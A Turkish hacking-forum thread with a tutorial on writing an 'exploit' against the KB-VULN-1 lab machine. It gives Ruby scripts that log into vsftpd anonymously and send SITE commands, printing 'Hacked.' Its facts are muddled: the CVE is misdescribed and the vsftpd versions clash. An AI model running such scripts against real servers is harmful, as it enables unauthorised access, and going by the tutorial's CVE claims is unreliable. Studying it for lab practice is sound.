Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)

Bunjo

Uzman üye
14 Ara 2020
1,587
1,885
HTTParty
"Exploit", bir bilgisayar programı, sistem veya ağdaki bir zayıflığı veya güvenlik açığını kullanarak sisteme izinsiz erişim sağlamak veya başka bir şekilde sistemi manipüle etmek için tasarlanmış bir yazılımdır. Exploit'ler genellikle güvenlik açıklarını hedef alarak, bu açıkları istismar ederek sistemi tehlikeye atabilirler.

Exploit'ler çeşitli türde olabilir:​
  1. Uygulama Exploit'leri: Bir uygulamanın veya yazılımın hatalarından kaynaklanan güvenlik açıklarını kullanır. Bu, kötü amaçlı bir kullanıcının, bir uygulamanın hatalarını kullanarak sisteme giriş yapmasını sağlamak için tasarlanan exploit'leri içerir.​
  2. Sistem Exploit'leri: İşletim sistemlerinde bulunan güvenlik açıklarını hedef alır. Bir sistem exploit'i, bir bilgisayarın işletim sistemi üzerindeki bir zayıflığı kullanarak sisteme izinsiz erişim sağlamak için tasarlanmıştır.​
  3. Ağ Exploit'leri: Ağ düzeyindeki güvenlik açıklarını hedef alır. Bu tür exploit'ler, ağ üzerindeki cihazlar arasında iletişimi ele geçirerek veya ağa izinsiz erişim sağlayarak saldırganın istediği bilgileri çalmasını veya sistemleri kontrol etmesini sağlamayı amaçlar.​
  4. Fiziksel Exploit'ler: Fiziksel erişime dayalı güvenlik açıklarını hedef alır. Örneğin, bir bilgisayarın USB bağlantı noktalarını kullanarak sisteme erişim sağlamak gibi.​
Exploit'ler genellikle güvenlik uzmanları ve etik hackerlar tarafından güvenlik açıklarını tespit etmek ve kapatmak amacıyla kullanılır. Ancak, kötü niyetli kişiler tarafından kullanıldığında, ciddi zararlara neden olabilirler. Bu nedenle, güvenlik açıklarını önlemek, tespit etmek ve düzeltmek için sürekli çaba harcanmalıdır.

Gerçek senaryoda bir "Exploit" nasıl kodlanır?

Exploit kodlamak, güvenlik açığı taraması yaparken sunucuda fark edilen sorunlar ve gözden kaçırılmış güvenlik önlemlerini sömürmen kod parçaları yazmaktır. Biz bu senaryolardan eski port versiyonu kullanan bir sunucuda nasıl exploit kodlanacağını işleyeceğiz.

Kullandığım zafiyetli makine = KB-VULN-1

1- İlk öncelikle hedef sistemde açık olan portları ve versiyonu tarıyorum.



21. Port içinde çalışan "vsftpd 3.0.3" versiyonu kullanan bir File Transfer Protocol (FTP) sunucusu olduğunu görüyorum.

2- Versiyonu internette aratıyorum ve ANON-FTP güvenlik açığı olduğunu ve DoS saldırılarına karşı savunmasız olduğunuda öğreniyorum. CVE - CVE-2021-30047



ANON_FTP Güvenlik Açığı (CVE-2021-30047): "anonymous" kullanıcı adına sahip bir oturum ile oturum açıp dosya yükleyip indirebilime iznimin olduğu güvenlik açığı.

3- Bu bilgileri öğrendikten sonra seçtiğim bir dil ile FTP sunucusuna oturum açıp komut girmemizi sağlayan bir program kodlamaya başlıyorum. (Ben "Ruby" dilini kullanacağım mantık aynı mantık "Python" ile de kolaylıkla yapabilirsiniz, isteyen olursa "Python" ile de yazar paylaşırım.)

Kodumuza geçelim:

Ruby:
# Kütüphaneyi içeriye aktardık.
require 'net/ftp'

def interact_with_server
  begin
    ftp = Net::FTP.new('HEDEF IP')
    ftp.login('anonymous', '')

    welcome_msg = ftp.welcome
    puts "Welcome message: #{welcome_msg}"

  rescue Exception => e
    puts "Error occurred: #{e.message}"

  ensure
    if ftp
      ftp.quit
      puts "Connection closed."
      puts "Hacked."
    end
  end
end

interact_with_server

Exploit nasıl kullanılır:


Hacklendiğine dair kanıt:


Böylelikle çok zor sanılan exploit yazma bölümü ile ilgili ufak bir örnek yapmış olduk anlatacaklarım bu kadar teşekkür ederim.

Diğer Konularım:

Exploit Eğitimi #8 (ShellShock)(BashBug) = Exploit Eğitimi #8 (Shellshock (Bash Bug))

Exploit Eğitimi #7 (WordPress) = Exploit Eğitimi #7 (WordPress)

Exploit Eğitimi #6 (FTP Fuzzer) = FTP Fuzzer (Exploit Eğitimi #6)

Exploit Eğitimi #5 (SMTP Enumeration) = SMTP Enumeration (Exploit Eğitimi #5)

Exploit Eğitimi #4 (Her Türden) = Exploit Eğitimi #4 (Her Türden)

Exploit Eğitimi #3 (Gerçek Uygulama)(Apache DOS) = Exploit Eğitimi #3 (Gerçek Site Hack)(Korea Telecom)

Exploit Eğitimi #2 (FTP DOS) = Exploit Kodlamak [Eğitim Serisi #2] (Gerçek Senaryo)

Exploit Eğitimi #1 (ANON-FTP) = Exploit Kodlamak [Eğitim Serisi #1] (Gerçek senaryo)
 
Moderatör tarafında düzenlendi:

'Albatros

Anka Team Junior
7 Mar 2023
1,347
859
anka.html
Elinize emeğinize sağlık. Son zamanlarda THT'de çok iyi konular açılıyor inşAllah böyle devam ederiz ve forumda hak ettiği yerlere gelir.
 

admin44

Katılımcı Üye
6 Kas 2023
453
139
TÜRKİYE
"Exploit", bir bilgisayar programı, sistem veya ağdaki bir zayıflığı veya güvenlik açığını kullanarak sisteme izinsiz erişim sağlamak veya başka bir şekilde sistemi manipüle etmek için tasarlanmış bir yazılımdır. Exploit'ler genellikle güvenlik açıklarını hedef alarak, bu açıkları istismar ederek sistemi tehlikeye atabilirler.

Exploit'ler çeşitli türde olabilir:
  1. Uygulama Exploit'leri: Bir uygulamanın veya yazılımın hatalarından kaynaklanan güvenlik açıklarını kullanır. Bu, kötü amaçlı bir kullanıcının, bir uygulamanın hatalarını kullanarak sisteme giriş yapmasını sağlamak için tasarlanan exploit'leri içerir.
  2. Sistem Exploit'leri: İşletim sistemlerinde bulunan güvenlik açıklarını hedef alır. Bir sistem exploit'i, bir bilgisayarın işletim sistemi üzerindeki bir zayıflığı kullanarak sisteme izinsiz erişim sağlamak için tasarlanmıştır.
  3. Ağ Exploit'leri: Ağ düzeyindeki güvenlik açıklarını hedef alır. Bu tür exploit'ler, ağ üzerindeki cihazlar arasında iletişimi ele geçirerek veya ağa izinsiz erişim sağlayarak saldırganın istediği bilgileri çalmasını veya sistemleri kontrol etmesini sağlamayı amaçlar.
  4. Fiziksel Exploit'ler: Fiziksel erişime dayalı güvenlik açıklarını hedef alır. Örneğin, bir bilgisayarın USB bağlantı noktalarını kullanarak sisteme erişim sağlamak gibi.
Exploit'ler genellikle güvenlik uzmanları ve etik hackerlar tarafından güvenlik açıklarını tespit etmek ve kapatmak amacıyla kullanılır. Ancak, kötü niyetli kişiler tarafından kullanıldığında, ciddi zararlara neden olabilirler. Bu nedenle, güvenlik açıklarını önlemek, tespit etmek ve düzeltmek için sürekli çaba harcanmalıdır.

Gerçek senaryoda bir "Exploit" nasıl kodlanır?

Exploit kodlamak, güvenlik açığı taraması yaparken sunucuda fark edilen sorunlar ve gözden kaçırılmış güvenlik önlemlerini sömürmen kod parçaları yazmaktır. Biz bu senaryolardan eski port versiyonu kullanan bir sunucuda nasıl exploit kodlanacağını işleyeceğiz.

Kullandığım zafiyetli makine = KB-VULN-1

1- İlk öncelikle hedef sistemde açık olan portları ve versiyonu tarıyorum.



21. Port içinde çalışan "vsftpd 2.3.4" versiyonu kullanan bir File Transfer Protocol (FTP) sunucusu olduğunu görüyorum.

2- Versiyonu internette aratıyorum ve ANON-FTP güvenlik açığı olduğunu öğreniyorum. CVE - CVE-2021-30047



ANON_FTP Güvenlik Açığı (CVE-2021-30047): "anonymous" kullanıcı adına sahip bir oturum ile oturum açıp dosya yükleyip indirebilime iznimin olduğu güvenlik açığı.

3- Bu bilgileri öğrendikten sonra seçtiğim bir dil ile FTP sunucusuna oturum açıp komut girmemizi sağlayan bir program kodlamaya başlıyorum. (Ben "Ruby" dilini kullanacağım mantık aynı mantık "Python" ile de kolaylıkla yapabilirsiniz, isteyen olursa "Python" ile de yazar paylaşırım.)

Kodumuza geçelim:

Ruby:
# Kütüphaneyi içeriye aktardık.
require 'net/ftp'

class FTPClient
  def initialize(host, username, password)
    @host = host
    @username = username
    @password = password
  end

  def connect
    @ftp = Net::FTP.new
    @ftp.connect(@host)
    @ftp.login(@username, @password)
     puts "Hacked."
  end # Oturum açma işlemi

  def send_command(command)
    connect unless @ftp

    response = @ftp.site(command)
    puts "Response: #{response}"
  end # komut gönderip çıktı aldık.

  def disconnect
    @ftp&.close
  end
end

# Kullanım örneği
if ARGV.length < 1
  puts "Usage: ruby ftp_client.rb HOST"
  exit
end

host = ARGV[0]
username = "anonymous"
password = ""

ftp_client = FTPClient.new(host, username, password)
ftp_client.connect # giriş yapma fonksiyonu çağırıldı.

loop do
  print 'Enter command (or "exit" to quit): '
  command = $stdin.gets.chomp

  break if command.downcase == 'exit'

  ftp_client.send_command(command)
end

ftp_client.disconnect # bağlantı kapatıldı

Exploit nasıl kullanılır:


Hacklendiğine dair kanıt:


Böylelikle çok zor sanılan exploit yazma bölümü ile ilgili ufak bir örnek yapmış olduk anlatacaklarım bu kadar teşekkür ederim:
eline sağlık hocam
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.